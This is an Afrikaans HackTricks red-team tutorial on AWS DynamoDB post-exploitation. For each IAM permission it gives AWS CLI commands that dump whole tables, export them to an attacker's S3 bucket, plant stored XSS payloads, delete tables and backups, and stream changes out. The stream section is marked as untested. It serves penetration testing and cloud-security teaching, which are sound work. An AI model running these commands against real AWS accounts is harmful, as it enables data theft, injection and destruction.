AWS - DynamoDB Post Exploitation

Leer AWS hakwerk vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

DynamoDB

Vir meer inligting, kyk:

pageAWS - DynamoDB Enum

dynamodb:BatchGetItem

'n Aanvaller met hierdie regte sal in staat wees om items van tabelle te kry deur die primêre sleutel (jy kan nie net vir al die data van die tabel vra nie). Dit beteken dat jy die primêre sleutels moet weet (jy kan dit kry deur die tafelmetadata te kry (describe-table).

aws dynamodb batch-get-item --request-items file:///tmp/a.json

// With a.json
{
"ProductCatalog" : { // This is the table name
"Keys": [
{
"Id" : { // Primary keys name
"N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those
}
}
]
}
}

Potensiële Impak: Indirekte privilage-escalation deur sensitiewe inligting in die tabel te vind

dynamodb:GetItem

Net soos die vorige toestemmings, maak hierdie een dit moontlik vir 'n aanvaller om waardes van net 1 tabel te lees deur die primêre sleutel van die inskrywing te gebruik om op te haal:

aws dynamodb get-item --table-name ProductCatalog --key  file:///tmp/a.json

// With a.json
{
"Id" : {
"N": "205"
}
}

Met hierdie toestemming is dit ook moontlik om die transact-get-items metode te gebruik soos:

aws dynamodb transact-get-items \
--transact-items file:///tmp/a.json

// With a.json
[
{
"Get": {
"Key": {
"Id": {"N": "205"}
},
"TableName": "ProductCatalog"
}
}
]

Potensiële Impak: Indirekte privilage-escalation deur sensitiewe inligting in die tabel te vind

dynamodb:Query

Soortgelyk aan die vorige toestemmings hierdie toelaat 'n potensiële aanvaller om waardes van net 1 tabel te lees deur die primêre sleutel van die inskrywing te gebruik om op te haal. Dit maak gebruik van 'n subreeks van vergelykings, maar die enigste vergelyking wat toegelaat word met die primêre sleutel (wat moet verskyn) is "EQ", so jy kan nie 'n vergelyking gebruik om die hele DB in 'n versoek te kry.

aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json

// With a.json
{
"Id" : {
"ComparisonOperator":"EQ",
"AttributeValueList": [ {"N": "205"} ]
}
}

Potensiële Impak: Indirekte privilage-escalation deur sensitiewe inligting in die tabel te vind

dynamodb:Scan

Jy kan hierdie toestemming gebruik om die hele tabel maklik te dump.

aws dynamodb scan --table-name <t_name> #Get data inside the table

Potensiële Impak: Indirekte privilage-escalation deur sensitiewe inligting in die tabel te vind

dynamodb:PartiQLSelect

Jy kan hierdie toestemming gebruik om die hele tabel maklik te dump.

aws dynamodb execute-statement \
--statement "SELECT * FROM ProductCatalog"

Hierdie toestemming maak dit ook moontlik om batch-execute-statement uit te voer soos:

aws dynamodb batch-execute-statement \
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'

maar jy moet die primêre sleutel met 'n waarde spesifiseer, so dit is nie baie nuttig nie.

Potensiële Impak: Indirekte privesc deur die opsporing van sensitiewe inligting in die tabel

dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)

Hierdie toestemming sal 'n aanvaller toelaat om die hele tabel na 'n S3-emmer van sy keuse te uitvoer:

aws dynamodb export-table-to-point-in-time \
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
--s3-bucket <attacker_s3_bucket> \
--s3-prefix <optional_prefix> \
--export-time <point_in_time> \
--region <region>

Merk op dat vir hierdie metode werk, die tabel moet punt-in-tyd-herwinning geaktiveer hê, jy kan nagaan of die tabel dit het met:

aws dynamodb describe-continuous-backups \
--table-name <tablename>

Indien dit nie geaktiveer is nie, sal jy dit moet aktiveer en daarvoor benodig jy die dynamodb:ExportTableToPointInTime toestemming:

aws dynamodb update-continuous-backups \
--table-name <value> \
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true

Potensiële Impak: Indirekte privilage-escalation deur die opsporing van sensitiewe inligting in die tabel

dynamodb:CreateTable, dynamodb:RestoreTableFromBackup, (dynamodb:CreateBackup)

Met hierdie regte, sou 'n aanvaller in staat wees om 'n nuwe tabel van 'n rugsteun te skep (of selfs 'n rugsteun te skep om dit dan in 'n ander tabel te herstel). Dan, met die nodige regte, sou hy in staat wees om inligting van die rugsteune te ondersoek wat nie meer in die produksie tabel sou wees nie.

aws dynamodb restore-table-from-backup \
--backup-arn <source-backup-arn> \
--target-table-name <new-table-name> \
--region <region>

Potensiële Impak: Indirekte privilage-escalation deur sensitiewe inligting in die tabel se rugsteun te vind

dynamodb:PutItem

Hierdie toestemming laat gebruikers toe om 'n nuwe item by die tabel te voeg of 'n bestaande item met 'n nuwe item te vervang. As 'n item met dieselfde primêre sleutel reeds bestaan, sal die volledige item vervang word met die nuwe item. As die primêre sleutel nie bestaan nie, sal 'n nuwe item met die gespesifiseerde primêre sleutel geskep word.

## Create new item with XSS payload
aws dynamodb put-item --table <table_name> --item file://add.json
### With add.json:
{
"Id": {
"S": "1000"
},
"Name": {
"S":  "Marc"
},
"Description": {
"S": "<script>alert(1)</script>"
}
}

Potensiële Impak: Uitbuiting van verdere kwetsbaarhede/deurpasse deur in staat te wees om data by 'n DynamoDB-tabel by te voeg/wysig

dynamodb:UpdateItem

Hierdie toestemming laat gebruikers toe om die bestaande eienskappe van 'n item te wysig of nuwe eienskappe by 'n item by te voeg. Dit vervang nie die hele item nie; dit werk net die gespesifiseerde eienskappe by. As die primêre sleutel nie in die tabel bestaan nie, sal die operasie 'n nuwe item skep met die gespesifiseerde primêre sleutel en die eienskappe wat in die opdateeruitdrukking gespesifiseer is.

## Update item with XSS payload
aws dynamodb update-item --table <table_name> \
--key file://key.json --update-expression "SET Description = :value" \
--expression-attribute-values file://val.json
### With key.json:
{
"Id": {
"S": "1000"
}
}
### and val.json
{
":value": {
"S": "<script>alert(1)</script>"
}
}
aws dynamodb update-item \
--table-name ExampleTable \
--key '{"Id": {"S": "1"}}' \
--update-expression "SET Attribute1 = :val1, Attribute2 = :val2" \
--expression-attribute-values '{":val1": {"S": "NewValue1"}, ":val2": {"S": "NewValue2"}}' \
--region <region>

Potensiële Impak: Uitbuiting van verdere kwesbaarhede/deurpasse deur in staat te wees om data by 'n DynamoDB-tabel by te voeg/wysig

dynamodb:DeleteTable

'n Aanvaller met hierdie toestemming kan 'n DynamoDB-tabel verwyder, wat dataverlies veroorsaak.

aws dynamodb delete-table \
--table-name TargetTable \
--region <region>

Potensiële impak: Data verlies en ontwrigting van dienste wat afhanklik is van die verwyderde tabel.

dynamodb:DeleteBackup

'n Aanvaller met hierdie toestemming kan 'n DynamoDB-rugsteun verwyder, wat potensieel data verlies kan veroorsaak in geval van 'n rampherstelscenario.

aws dynamodb delete-backup \
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
--region <region>

Potensiële impak: Data verlies en onvermoë om tydens 'n rampherstelsituasie van 'n rugsteun te herstel.

dynamodb:StreamSpecification, dynamodb:UpdateTable, dynamodb:DescribeStream, dynamodb:GetShardIterator, dynamodb:GetRecords

TODO: Toets of dit werklik werk

'n Aanvaller met hierdie regte kan 'n stroom op 'n DynamoDB-tabel aktiveer, die tabel opdateer om veranderinge te begin stroom, en dan toegang verkry tot die stroom om veranderinge aan die tabel in werklikheid te monitor. Dit stel die aanvaller in staat om data veranderinge te monitor en uit te voer, wat moontlik tot data lekkasies kan lei.

  1. Aktiveer 'n stroom op 'n DynamoDB-tabel:

bashCopy codeaws dynamodb update-table \
--table-name TargetTable \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
--region <region>
  1. Beskryf die stroom om die ARN en ander besonderhede te verkry:

bashCopy codeaws dynamodb describe-stream \
--table-name TargetTable \
--region <region>
  1. Kry die skerf-iterateur deur die stroom ARN te gebruik:

bashCopy codeaws dynamodbstreams get-shard-iterator \
--stream-arn <stream_arn> \
--shard-id <shard_id> \
--shard-iterator-type LATEST \
--region <region>
  1. Gebruik die skerf-iterateur om toegang te verkry en data uit die stroom te eksfiltreer:

bashCopy codeaws dynamodbstreams get-records \
--shard-iterator <shard_iterator> \
--region <region>

Potensiële impak: Werklike monitering en datalek van die veranderinge aan die DynamoDB-tabel.

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated